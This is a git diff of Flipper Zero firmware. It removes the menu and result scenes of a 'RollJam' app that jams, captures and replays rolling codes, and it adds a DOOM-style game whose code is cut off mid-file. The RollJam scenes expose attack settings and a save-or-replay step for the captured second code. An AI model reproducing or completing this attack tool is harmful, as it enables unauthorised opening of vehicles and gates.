* 3 - RollJamSceneAttackPhase3
* 4 - RollJamSceneResult
*/
@@ -1,161 +0,0 @@
#include "rolljam_scene.h"
// ============================================================
// Menu scene: select frequency, modulation, start attack
// ============================================================
static uint8_t get_min_offset_index(uint8_t mod_index) {
if(mod_index == ModIndex_AM270) return JamOffIndex_1000k;
return JamOffIndex_300k;
}
static void enforce_min_offset(RollJamApp* app, VariableItem* offset_item) {
uint8_t min_idx = get_min_offset_index(app->mod_index);
if(app->jam_offset_index < min_idx) {
app->jam_offset_index = min_idx;
app->jam_offset_hz = jam_offset_values[min_idx];
if(offset_item) {
variable_item_set_current_value_index(offset_item, min_idx);
variable_item_set_current_value_text(offset_item, jam_offset_names[min_idx]);
}
FURI_LOG_I(TAG, "Menu: offset ajustado a %s para AM270",
jam_offset_names[min_idx]);
}
}
static VariableItem* s_offset_item = NULL;
static void menu_freq_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->freq_index = index;
app->frequency = freq_values[index];
variable_item_set_current_value_text(item, freq_names[index]);
}
static void menu_mod_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->mod_index = index;
variable_item_set_current_value_text(item, mod_names[index]);
enforce_min_offset(app, s_offset_item);
}
static void menu_jam_offset_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
uint8_t min_idx = get_min_offset_index(app->mod_index);
if(index < min_idx) {
index = min_idx;
variable_item_set_current_value_index(item, index);
}
app->jam_offset_index = index;
app->jam_offset_hz = jam_offset_values[index];
variable_item_set_current_value_text(item, jam_offset_names[index]);
}
static void menu_hw_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->hw_index = index;
variable_item_set_current_value_text(item, hw_names[index]);
}
static void menu_enter_callback(void* context, uint32_t index) {
RollJamApp* app = context;
if(index == 4) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventStartAttack);
}
}
void rolljam_scene_menu_on_enter(void* context) {
RollJamApp* app = context;
variable_item_list_reset(app->var_item_list);
// --- Frequency ---
VariableItem* freq_item = variable_item_list_add(
app->var_item_list,
"Frequency",
FreqIndex_COUNT,
menu_freq_changed,
app);
variable_item_set_current_value_index(freq_item, app->freq_index);
variable_item_set_current_value_text(freq_item, freq_names[app->freq_index]);
// --- Modulation ---
VariableItem* mod_item = variable_item_list_add(
app->var_item_list,
"Modulation",
ModIndex_COUNT,
menu_mod_changed,
app);
variable_item_set_current_value_index(mod_item, app->mod_index);
variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
// --- Jam Offset ---
VariableItem* offset_item = variable_item_list_add(
app->var_item_list,
"Jam Offset",
JamOffIndex_COUNT,
menu_jam_offset_changed,
app);
s_offset_item = offset_item;
enforce_min_offset(app, offset_item);
variable_item_set_current_value_index(offset_item, app->jam_offset_index);
variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]);
// --- Hardware ---
VariableItem* hw_item = variable_item_list_add(
app->var_item_list,
"Hardware",
HwIndex_COUNT,
menu_hw_changed,
app);
variable_item_set_current_value_index(hw_item, app->hw_index);
variable_item_set_current_value_text(hw_item, hw_names[app->hw_index]);
// --- Start button ---
variable_item_list_add(
app->var_item_list,
">> START ATTACK <<",
0,
NULL,
app);
variable_item_list_set_enter_callback(
app->var_item_list, menu_enter_callback, app);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewVarItemList);
}
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventStartAttack) {
enforce_min_offset(app, NULL);
memset(&app->signal_first, 0, sizeof(RawSignal));
memset(&app->signal_second, 0, sizeof(RawSignal));
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase1);
return true;
}
}
return false;
}
void rolljam_scene_menu_on_exit(void* context) {
RollJamApp* app = context;
s_offset_item = NULL;
variable_item_list_reset(app->var_item_list);
}
@@ -1,110 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 4 / Result: user chooses to SAVE or REPLAY 2nd code
// ============================================================
static void result_dialog_callback(DialogExResult result, void* context) {
RollJamApp* app = context;
if(result == DialogExResultLeft) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSaveSignal);
} else if(result == DialogExResultRight) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventReplayNow);
}
}
void rolljam_scene_result_on_enter(void* context) {
RollJamApp* app = context;
dialog_ex_reset(app->dialog_ex);
dialog_ex_set_header(
app->dialog_ex, "Attack Complete!",
64, 2, AlignCenter, AlignTop);
dialog_ex_set_text(
app->dialog_ex,
"1st code: SENT to target\n"
"2nd code: IN MEMORY\n\n"
"What to do with 2nd?",
64, 18, AlignCenter, AlignTop);
dialog_ex_set_left_button_text(app->dialog_ex, "Save");
dialog_ex_set_right_button_text(app->dialog_ex, "Send");
dialog_ex_set_result_callback(app->dialog_ex, result_dialog_callback);
dialog_ex_set_context(app->dialog_ex, app);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewDialogEx);
}
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSaveSignal) {
rolljam_save_signal(app, &app->signal_second);
popup_reset(app->popup);
popup_set_header(
app->popup, "Saved!",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup,
"File saved to:\n/ext/subghz/rolljam_*.sub\n\nPress Back",
64, 38, AlignCenter, AlignCenter);
popup_set_timeout(app->popup, 5000);
popup_enable_timeout(app->popup);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
notification_message(app->notification, &sequence_success);
return true;
} else if(event.event == RollJamEventReplayNow) {
popup_reset(app->popup);
popup_set_header(
app->popup, "Transmitting...",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup, "Sending 2nd code NOW",
64, 38, AlignCenter, AlignCenter);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
rolljam_transmit_signal(app, &app->signal_second);
notification_message(app->notification, &sequence_success);
popup_set_header(
app->popup, "Done!",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup,
"2nd code transmitted!\n\nPress Back",
64, 38, AlignCenter, AlignCenter);
popup_set_timeout(app->popup, 5000);
popup_enable_timeout(app->popup);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_result_on_exit(void* context) {
RollJamApp* app = context;
dialog_ex_reset(app->dialog_ex);
popup_reset(app->popup);
}
@@ -1,53 +0,0 @@
#include "rolljam_attack_view.h"
#include <gui/canvas.h>
// ============================================================
// Custom drawing for attack status
// Reserved for future use with a custom View
// Currently the app uses Widget modules instead
// ============================================================
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state) {
canvas_clear(canvas);
// Title bar
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(
canvas, 64, 2, AlignCenter, AlignTop, state->phase_text);
// Separator
canvas_draw_line(canvas, 0, 14, 128, 14);
// Status
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(
canvas, 64, 18, AlignCenter, AlignTop, state->status_text);
// Indicators
int y = 32;
if(state->jamming) {
canvas_draw_str(canvas, 4, y, "JAM: [ACTIVE]");
// Animated dots could go here
} else {
canvas_draw_str(canvas, 4, y, "JAM: [OFF]");
}
y += 12;
if(state->capturing) {
canvas_draw_str(canvas, 4, y, "RX: [LISTENING]");
} else {
canvas_draw_str(canvas, 4, y, "RX: [OFF]");
}
y += 12;
// Signal counter
char buf[32];
snprintf(buf, sizeof(buf), "Signals: %d / 2", state->signal_count);
canvas_draw_str(canvas, 4, y, buf);
// Footer
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(
canvas, 64, 62, AlignCenter, AlignBottom, "[BACK] cancel");
}
@@ -1,23 +0,0 @@
#pragma once
#include "../rolljam.h"
/*
* Custom view for attack visualization.
* Currently the app uses Widget and DialogEx for display.
* This file is reserved for a future custom canvas-drawn view
* (e.g., signal waveform display, animated jamming indicator).
*
* For now it provides a simple status draw function.
*/
typedef struct {
const char* phase_text;
const char* status_text;
bool jamming;
bool capturing;
int signal_count;
} AttackViewState;
// Draw attack status on a canvas (for future custom View use)
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state);
+1 -3
View File
@@ -4,14 +4,12 @@ App(
apptype=FlipperAppType.METAPACKAGE,
provides=[
"gpio",
"infrared",
"lfrfid",
"nfc",
"subghz",
"rolljam",
"subghz_remote",
"subghz_bruteforcer",
"archive",
"subghz_remote",
"main_apps_on_start",
],
)
+34 -32
View File
@@ -1,9 +1,11 @@
#include "subghz_txrx_i.h" // IWYU pragma: keep
#include <math.h>
#include <furi_hal_subghz.h>
#include <lib/subghz/protocols/protocol_items.h>
#include <applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h>
#include <lib/subghz/devices/cc1101_int/cc1101_int_interconnect.h>
#include "../../../../lib/subghz/devices/subghz_preset_delta.h"
#include <lib/subghz/blocks/custom_btn.h>
#define TAG "SubGhzTxRx"
@@ -498,6 +500,36 @@ void subghz_txrx_hopper_pause(SubGhzTxRx* instance) {
}
}
// Identify the hop index (0=AM650, 1=FM476, 2=FM95) from the name.
// Must match the order defined in subghz_preset_delta.h
static int subghz_hop_index_from_name(const char* name) {
if(strcmp(name, "AM650") == 0) return 0;
if(strcmp(name, "FM476") == 0) return 1;
if(strcmp(name, "FM95") == 0) return 2;
return -1; // is not part of the fast hopping set
}
// Applies the target preset using delta-patch (without SRES) when possible,
// or falls back to the original full reload in any other case.
static void subghz_txrx_apply_preset_fast(
SubGhzTxRx* instance,
const char* old_preset_name,
const char* preset_name) {
int from_idx = subghz_hop_index_from_name(old_preset_name);
int to_idx = subghz_hop_index_from_name(preset_name);
if(instance->radio_device_type == SubGhzRadioDeviceTypeInternal && from_idx >= 0 &&
to_idx >= 0 && from_idx != to_idx) {
// Fast path: delta-patch without SRES or full reload (only internal CC1101)
const PresetDeltaEntry* e = &preset_delta_table[from_idx][to_idx];
furi_hal_subghz_apply_preset_delta(e->delta, e->delta_len, e->needs_scal, e->pa_table);
} else {
// Fallback: original behavior (full reload)
subghz_devices_load_preset(
instance->radio_device, FuriHalSubGhzPresetCustom, instance->preset->data);
}
}
void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold) {
furi_assert(instance);
@@ -550,22 +582,7 @@ void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold
subghz_txrx_set_preset_internal(
instance, instance->preset->frequency, actual_preset_idx, 0);
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
bool new_is_am = (strstr(preset_name, "AM") != NULL);
bool modulation_changed = (old_is_am != new_is_am);
if(modulation_changed) {
subghz_devices_reset(instance->radio_device);
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
} else {
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
}
subghz_txrx_apply_preset_fast(instance, old_preset_name, preset_name);
subghz_txrx_rx(instance, instance->preset->frequency);
}
@@ -588,22 +605,7 @@ void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold
subghz_txrx_set_preset_internal(
instance, instance->preset->frequency, instance->preset_hopper_idx, 0);
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
bool new_is_am = (strstr(preset_name, "AM") != NULL);
bool modulation_changed = (old_is_am != new_is_am);
if(modulation_changed) {
subghz_devices_reset(instance->radio_device);
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
} else {
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
}
subghz_txrx_apply_preset_fast(instance, old_preset_name, preset_name);
subghz_txrx_rx(instance, instance->preset->frequency);
}
@@ -1,6 +1,7 @@
MIT License
Copyright (c) 2023 Zachary Weiss
Copyright (c) 2019 James Howard (original)
Copyright (c) 2025 Apfxtech (Flipper Zero port)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
+177
View File
@@ -0,0 +1,177 @@
# Flipper DOOM
A DOOM-style first-person shooter demake for the Flipper Zero
(128×64 monochrome LCD). Built on the raycaster engine from
[FlipperCatacombs](https://github.com/apfxtech/FlipperCatacombs) (a port of
*Catacombs of the Damned* / arduboy3d by jhhoward), re-skinned with graphics
converted **at build time from your own DOOM shareware WAD**.
---
## Quick Start
1. Copy `dist/flipdoom.fap` to your SD card under `SD/apps/Games/`
(or run `ufbt launch` with the Flipper connected via USB).
2. On the Flipper: **Apps → Games → Flipper DOOM**.
3. Title screen → main menu → select **Play** with OK.
4. Fight through procedurally generated levels, find the exit gate on each
floor, survive as deep as you can. Your score and high score are saved
automatically.
---
## Controls
### Title screen
| Button | Action |
|---|---|
| Any button | Skip the title screen |
### Main menu
| Button | Action |
|---|---|
| **Up / Down** | Move cursor (Play / Sound on-off / Score / High score) |
| **OK** | Select item |
| **Back (hold ~300 ms)** | Exit the app |
### In game
| Button | Action |
|---|---|
| **Up / Down** | Move forward / backward |
| **Left / Right** | Turn left / right |
| **OK** | Fire the shotgun (hold for continuous fire) |
| **OK held + Left / Right** | **Strafe** (circle-strafe while firing) — essential for dodging fireballs |
| **Back (hold ~300 ms)** | Leave the game and return to the menu |
Notes:
- Firing costs ammo (bottom HUD bar); ammo regenerates when not shooting.
- Strafing only works while OK is held. Tap OK to fire while turning
normally; hold OK to switch the side arrows into dodge mode.
- Walking into a backpack opens it; walking over pickups collects them.
### HUD
- **Bottom bar with cross icon** — health.
- **Bar above it with bullets icon** — ammo.
- Screen border flashes when you take damage.
- Pickup/event messages appear at the top of the screen.
---
## Gameplay
### Enemies
| Enemy | Behavior |
|---|---|
| **Zombieman** | Weak, shoots from range, appears from level 1 |
| **Sergeant** | Fast, shoots hard, keeps distance |
| **Imp** | Throws fireballs, backs away if you get close |
| **Demon** | Melee tank — charges you and bites |
Difficulty scales with depth: early levels spawn mostly zombies; imps join
from level 3, and demons dominate from level 6.
### Exploding barrels
Shooting a barrel triggers an area explosion that deals heavy damage to every
enemy nearby (one-shots zombies and sergeants) and hurts you if you stand too
close — though it will never kill you outright, it can leave you at 1 HP.
Barrels sometimes leave a pickup behind.
### Pickups
| Item | Effect |
|---|---|
| Stimpack | Restores health |
| Backpack (walk into it) | Bonus points |
| Armor / helmet / bonus items | Points |
### Scoring
Points are awarded for floors cleared, kills per enemy type, and items
collected. Escaping the base (final exit) grants a large bonus. Score and
high score are stored on the SD card (`apps_data/flipdoom/`) and persist
between sessions.
---
## Sound
Tone-based sound effects through the Flipper buzzer (shotgun blast, hits,
kills, pickups, player damage), all tuned within the buzzer's physical
1002500 Hz range. Sound can be toggled in the main menu; the system
Stealth Mode is respected.
---
## Building from source
Requires Python 3 and [ufbt](https://pypi.org/project/ufbt/):
```sh
pip install ufbt
cd FlipperDoom
# 1) Generate the sprite header from YOUR shareware WAD (not included here):
python3 tools/extract_doom_assets.py /path/to/Doom1.WAD
# 2) Build / install:
ufbt # produces dist/flipdoom.fap
ufbt launch # builds, installs and runs on a connected Flipper
```
### About the assets
No id Software assets are stored in this repository. The generated header
`game/Generated/DoomSprites.inc.h` is produced locally by
`tools/extract_doom_assets.py`, which decodes sprites from the user's own
shareware WAD (freely distributable as a whole), rescales them and quantizes
to 1-bit (black / 50% checker / white) in the engine's sprite formats.
Do not redistribute the generated header — always regenerate it from a WAD
you own. The "DOOM" title lettering and the HUD icons are original pixel art
made for this project. Preview images of the converted assets are written to
`tools/preview/`.
Entity mapping (game mechanics are inherited from the Catacombs engine):
| Engine entity | DOOM sprite | Role |
|---|---|---|
| Skeleton | Demon (SARG) | melee tank |
| Mage | Imp (TROO) | fireball thrower |
| Bat | Sergeant (SPOS) | fast shooter |
| Spider | Zombieman (POSS) | weak shooter |
| Weapon | Shotgun (SHTG + SHTF flash) | first person, centered |
| Urn | Barrel (BAR1) | explodes when shot |
| Potion | Stimpack (STIM) | health |
| Chest / opened | Backpack (BPAK) / Clip (CLIP) | treasure |
| Crown / scroll / coins | Armor / helmet / potion bottle (ARM1, BON2, BON1) | points |
| Sign | Skull pile (POL5) | decoration |
| Projectiles | Fireball (BAL1) | player & enemies |
## Why not a real doomgeneric port?
The hardware makes it impossible — not a software choice:
| | Flipper Zero | Real DOOM (doomgeneric) |
|---|---|---|
| Total RAM | 256 KB | — |
| Free heap for apps | ~140 KB | ~7 MB (zone memory + framebuffer) |
| Engine binary | FAPs load fully into RAM | ~524 KB compiled for Cortex-M4 |
The Flipper cannot execute code from the SD card (no XIP), so it can't even
load the DOOM engine binary. DOOM ports to 256 KB microcontrollers (GBA,
nRF52840) rely on memory-mapped flash, which the Flipper does not have. This
demake keeps the aesthetic with an engine that actually fits: ~30 KB loaded,
30 FPS on the 64 MHz Cortex-M4.
## License
Same license as the base project (see `LICENSE`). WAD contents are property
of id Software; the extraction tool only transforms them locally for
personal use.
@@ -0,0 +1,15 @@
App(
appid="flipdoom",
name="Flipper DOOM",
apptype=FlipperAppType.EXTERNAL,
entry_point="flipdoom_app",
cdefines=["APP_FLIPDOOM"],
requires=["gui"],
stack_size=8 * 1024,
fap_category="Games",
fap_icon="flipdoom_icon.png",
order=36,
fap_author="user",
fap_version="1.0",
fap_description="Doom-style raycaster demake for Flipper Zero. Graphics converted at build time from your own Doom shareware WAD.",
)
Binary file not shown.
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 96 B

@@ -0,0 +1,87 @@
#pragma once
#include <cstdint>
#include <cstring>
static inline const void* pgm_read_ptr_safe(const void* p) {
const void* out;
std::memcpy(&out, p, sizeof(out));
return out;
}
// Platform detection
#if defined(_WIN32)
#include <stdint.h>
#include <string.h>
#define PROGMEM
#define PSTR(s) (s)
#define pgm_read_byte(x) (*((uint8_t*)(x)))
#define pgm_read_word(x) (*((uint16_t*)(x)))
#define pgm_read_ptr(x) (*((uintptr_t*)(x)))
#define strlen_P(x) strlen(x)
#define strcpy_P(dst, src) strcpy(dst, src)
#define memcpy_P(dst, src, n) memcpy(dst, src, n)
#elif defined(__AVR__)
// Arduino/Arduboy platform
#include <avr/pgmspace.h>
#else
// Flipper Zero and other ARM platforms
#include <stdint.h>
#include <string.h>
#define PROGMEM
#define PSTR(s) (s)
#define pgm_read_byte(x) (*((const uint8_t*)(x)))
#define pgm_read_word(x) (*((const uint16_t*)(x)))
#define pgm_read_dword(x) (*((const uint32_t*)(x)))
#define strlen_P(x) strlen(x)
#define strcpy_P(dst, src) strcpy(dst, src)
#define strcmp_P(s1, s2) strcmp(s1, s2)
#define strncmp_P(s1, s2, n) strncmp(s1, s2, n)
#define memcpy_P(dst, src, n) memcpy(dst, src, n)
#define sprintf_P sprintf
#define snprintf_P snprintf
#endif
// Display configuration
#define DISPLAY_WIDTH 128
#define DISPLAY_HEIGHT 64
// Game settings
#define DEV_MODE 0
// Input definitions
#define INPUT_LEFT 1
#define INPUT_RIGHT 2
#define INPUT_UP 4
#define INPUT_DOWN 8
#define INPUT_A 16
#define INPUT_B 32
#ifndef COLOUR_WHITE
#define COLOUR_WHITE 1
#endif
#ifndef COLOUR_BLACK
#define COLOUR_BLACK 0
#endif
// Angle system (256 = 360 degrees)
#define FIXED_ANGLE_MAX 256
// 3D rendering settings
#define CAMERA_SCALE 1
#define CLIP_PLANE 32
#define CLIP_ANGLE 32
#define NEAR_PLANE_MULTIPLIER 130
#define NEAR_PLANE (DISPLAY_WIDTH * NEAR_PLANE_MULTIPLIER / 256)
#define HORIZON (DISPLAY_HEIGHT / 2)
// World settings
#define CELL_SIZE 256
#define PARTICLES_PER_SYSTEM 8
#define BASE_SPRITE_SIZE 16
#define MAX_SPRITE_SIZE (DISPLAY_HEIGHT / 2)
#define MIN_TEXTURE_DISTANCE 4
#define MAX_QUEUED_DRAWABLES 12
// Player settings
#define TURN_SPEED 3
File diff suppressed because it is too large Load Diff
+146
View File
@@ -0,0 +1,146 @@
#pragma once
#include "game/Defines.h"
#define WITH_IMAGE_TEXTURES 0
#define WITH_VECTOR_TEXTURES 1
#define WITH_TEXTURES (WITH_IMAGE_TEXTURES || WITH_VECTOR_TEXTURES)
#define WITH_SPRITE_OUTLINES 1
struct Camera {
int16_t x, y;
uint8_t angle;
int16_t rotCos, rotSin;
int16_t clipCos, clipSin;
uint8_t cellX, cellY;
int8_t tilt;
int8_t bob;
uint8_t shakeTime;
};
enum class DrawableType : uint8_t {
Sprite = 0,
ParticleSystem = 1
};
enum class AnchorType : uint8_t {
Floor,
Center,
BelowCenter,
Ceiling
};
struct QueuedDrawable {
union {
const uint16_t* spriteData;
struct ParticleSystem* particleSystem;
};
DrawableType type : 1;
bool invert : 1;
int8_t x;
int8_t y;
uint8_t halfSize;
uint8_t inverseCameraDistance;
};
class Renderer {
public:
static Camera camera;
static uint8_t wBuffer[DISPLAY_WIDTH];
static uint8_t globalRenderFrame;
static void Render();
static void DrawObject(
const uint16_t* spriteData,
int16_t x,
int16_t y,
uint8_t scale = 128,
AnchorType anchor = AnchorType::Floor,
bool invert = false);
static QueuedDrawable* CreateQueuedDrawable(uint8_t inverseCameraDistance);
static int8_t GetHorizon(int16_t x);
static bool
TransformAndCull(int16_t worldX, int16_t worldY, int16_t& outScreenX, int16_t& outScreenW);
static void DrawScaled(
const uint16_t* data,
int8_t x,
int8_t y,
uint8_t halfSize,
uint8_t inverseCameraDistance,
bool invert = false,
uint8_t color = COLOUR_BLACK);
static int8_t horizonBuffer[DISPLAY_WIDTH];
static uint8_t numBufferSlicesFilled;
static void DrawWallLine(
int16_t x1,
int16_t y1,
int16_t x2,
int16_t y2,
uint8_t clipLeft,
uint8_t clipRight,
uint8_t col);
static void DrawWallSegment(
const uint8_t* texture,
int16_t x1,
int16_t w1,
int16_t x2,
int16_t w2,
uint8_t u1clip,
uint8_t u2clip,
bool edgeLeft,
bool edgeRight,
bool shadeEdge);
static void DrawWall(
const uint8_t* texture,
int16_t x1,
int16_t y1,
int16_t x2,
int16_t y2,
bool edgeLeft,
bool edgeRight,
bool shadeEdge);
static void DrawBackground();
static uint8_t numQueuedDrawables;
static bool isFrustrumClipped(int16_t x, int16_t y);
private:
static QueuedDrawable queuedDrawables[MAX_QUEUED_DRAWABLES];
// #if WITH_IMAGE_TEXTURES
// static void DrawWallSegment(const uint16_t* texture, int16_t x1, int16_t w1, int16_t x2, int16_t w2, uint8_t u1clip, uint8_t u2clip, bool edgeLeft, bool edgeRight, bool shadeEdge);
// static void DrawWall(const uint16_t* texture, int16_t x1, int16_t y1, int16_t x2, int16_t y2, bool edgeLeft, bool edgeRight, bool shadeEdge);
// #elif WITH_VECTOR_TEXTURES
// static void DrawWallLine(int16_t x1, int16_t y1, int16_t x2, int16_t y2, uint8_t clipLeft, uint8_t clipRight, uint8_t col);
// static void DrawWallSegment(const uint8_t* texture, int16_t x1, int16_t w1, int16_t x2, int16_t w2, uint8_t u1clip, uint8_t u2clip, bool edgeLeft, bool edgeRight, bool shadeEdge);
// static void DrawWall(const uint8_t* texture, int16_t x1, int16_t y1, int16_t x2, int16_t y2, bool edgeLeft, bool edgeRight, bool shadeEdge);
// #else
// static void DrawWallSegment(int16_t x1, int16_t w1, int16_t x2, int16_t w2, bool edgeLeft, bool edgeRight, bool shadeEdge);
// static void DrawWall(int16_t x1, int16_t y1, int16_t x2, int16_t y2, bool edgeLeft, bool edgeRight, bool shadeEdge);
// #endif
static void DrawFloorLine(int16_t x1, int16_t y1, int16_t x2, int16_t y2);
static void DrawFloorLineInner(int16_t x1, int16_t y1, int16_t x2, int16_t y2);
static void DrawFloorLines();
static void TransformToViewSpace(int16_t x, int16_t y, int16_t& outX, int16_t& outY);
static void TransformToScreenSpace(int16_t viewX, int16_t viewZ, int16_t& outX, int16_t& outW);
static void DrawCell(uint8_t x, uint8_t y);
static void DrawCells();
static void DrawWeapon();
static void DrawHUD();
static void DrawBar(uint8_t* screenPtr, const uint8_t* iconData, uint8_t amount, uint8_t max);
static void DrawDamageIndicator();
static void QueueSprite(
const uint16_t* data,
int8_t x,
int8_t y,
uint8_t halfSize,
uint8_t inverseCameraDistance,
bool invert = false);
static void RenderQueuedDrawables();
};
@@ -0,0 +1,484 @@
#include "game/Enemy.h"
#include "game/Defines.h"
#include "game/Draw.h"
#include "game/Map.h"
#include "game/FixedMath.h"
#include "game/Game.h"
#include "game/Projectile.h"
#include "game/Generated/SpriteTypes.h"
#include "game/Sounds.h"
#include "game/Platform.h"
#include "game/Particle.h"
Enemy EnemyManager::enemies[maxEnemies];
const EnemyArchetype Enemy::archetypes[(int)EnemyType::NumEnemyTypes] PROGMEM =
{
{
// Skeleton
skeletonSpriteData,
50, // hp
4, // speed
20, // attackStrength
3, // attackDuration
2, // stunDuration
false, // isRanged
96, // sprite scale
AnchorType::Floor // sprite anchor
},
{
// Mage
mageSpriteData,
30, // hp
5, // speed
20, // attackStrength
3, // attackDuration
2, // stunDuration
true, // isRanged
96, // sprite scale
AnchorType::Floor // sprite anchor
},
{
// Bat -> shotgun sergeant (ranged, hits hard)
batSpriteData,
20, // hp
6, // speed
10, // attackStrength
2, // attackDuration
0, // stunDuration
true, // isRanged
90, // sprite scale
AnchorType::Floor // sprite anchor
},
{
// Spider -> zombieman (ranged, weak)
spiderSpriteData,
10, // hp
5, // speed
4, // attackStrength
1, // attackDuration
0, // stunDuration
true, // isRanged
80, // sprite scale
AnchorType::Floor // sprite anchor
}
};
void Enemy::Init(EnemyType initType, int16_t initX, int16_t initY)
{
state = EnemyState::Idle;
type = initType;
x = initX;
y = initY;
frameDelay = 0;
targetCellX = x / CELL_SIZE;
targetCellY = y / CELL_SIZE;
hp = GetArchetype()->GetHP();
}
void Enemy::Damage(uint8_t amount)
{
if (amount >= hp)
{
Game::stats.enemyKills[(int)type]++;
type = EnemyType::None;
Platform::PlaySound(Sounds::Kill);
ParticleSystemManager::CreateExplosion(x, y, true);
}
else
{
hp -= amount;
Platform::PlaySound(Sounds::Hit);
state = EnemyState::Stunned;
frameDelay = GetArchetype()->GetStunDuration();
}
}
const EnemyArchetype* Enemy::GetArchetype() const
{
if (type == EnemyType::None)
return nullptr;
return &archetypes[(int)type];
}
int16_t Clamp(int16_t x, int16_t min, int16_t max)
{
if(x < min)
return min;
if(x > max)
return max;
return x;
}
bool Enemy::TryPickCell(int8_t newX, int8_t newY)
{
if(Map::IsBlocked(newX, newY))// && !engine.map.isDoor(newX, newZ))
return false;
if(Map::IsBlocked(targetCellX, newY)) // && !engine.map.isDoor(targetCellX, newZ))
return false;
if(Map::IsBlocked(newX, targetCellY)) // && !engine.map.isDoor(newX, targetCellZ))
return false;
for (Enemy& other : EnemyManager::enemies)
{
if(this != &other && other.IsValid())
{
if(other.targetCellX == newX && other.targetCellY == newY)
return false;
}
}
targetCellX = newX;
targetCellY = newY;
return true;
}
bool Enemy::TryPickCells(int8_t deltaX, int8_t deltaY)
{
return TryPickCell(targetCellX + deltaX, targetCellY + deltaY)
|| TryPickCell(targetCellX + deltaX, targetCellY)
|| TryPickCell(targetCellX, targetCellY + deltaY)
|| TryPickCell(targetCellX - deltaX, targetCellY + deltaY)
|| TryPickCell(targetCellX + deltaX, targetCellY - deltaY);
}
uint8_t Enemy::GetPlayerCellDistance() const
{
uint8_t dx = ABS(Game::player.x - x) / CELL_SIZE;
uint8_t dy = ABS(Game::player.y - y) / CELL_SIZE;
return dx > dy ? dx : dy;
}
void Enemy::PickNewTargetCell()
{
int8_t deltaX = (int8_t) Clamp((Game::player.x / CELL_SIZE) - targetCellX, -1, 1);
int8_t deltaY = (int8_t) Clamp((Game::player.y / CELL_SIZE) - targetCellY, -1, 1);
uint8_t dodgeChance = (uint8_t) Random();
if (GetArchetype()->GetIsRanged() && GetPlayerCellDistance() < 3)
{
deltaX = -deltaX;
deltaY = -deltaY;
}
if(deltaX == 0)
{
if(dodgeChance < 64)
{
deltaX = -1;
}
else if(dodgeChance < 128)
{
deltaX = 1;
}
}
else if(deltaY == 0)
{
if(dodgeChance < 64)
{
deltaY = -1;
}
else if(dodgeChance < 128)
{
deltaY = 1;
}
}
TryPickCells(deltaX, deltaY);
}
void Enemy::StunMove()
{
//int16_t targetX = Game::player.x;
//int16_t targetY = Game::player.y;
//
//int16_t maxDelta = 3;
//
//int16_t deltaX = Clamp(targetX - x, -maxDelta, maxDelta);
//int16_t deltaY = Clamp(targetY - y, -maxDelta, maxDelta);
//
//x -= deltaX;
//y -= deltaY;
// int16_t deltaX = (Random() % 16) - 8;
// int16_t deltaY = (Random() % 16) - 8;
// x += deltaX;
// y += deltaY;
}
bool Enemy::TryMove()
{
if(Map::IsSolid(targetCellX, targetCellY))
{
//engine.map.openDoorsAt(targetCellX, targetCellZ, Direction_None);
return false;
}
int16_t targetX = (targetCellX * CELL_SIZE) + CELL_SIZE / 2;
int16_t targetY = (targetCellY * CELL_SIZE) + CELL_SIZE / 2;
int16_t maxDelta = GetArchetype()->GetMovementSpeed();
int16_t deltaX = Clamp(targetX - x, -maxDelta, maxDelta);
int16_t deltaY = Clamp(targetY - y, -maxDelta, maxDelta);
x += deltaX;
y += deltaY;
if(IsOverlappingEntity(Game::player))
{
if (!GetArchetype()->GetIsRanged())
{
Game::player.Damage(GetArchetype()->GetAttackStrength());
if (Game::player.hp == 0)
{
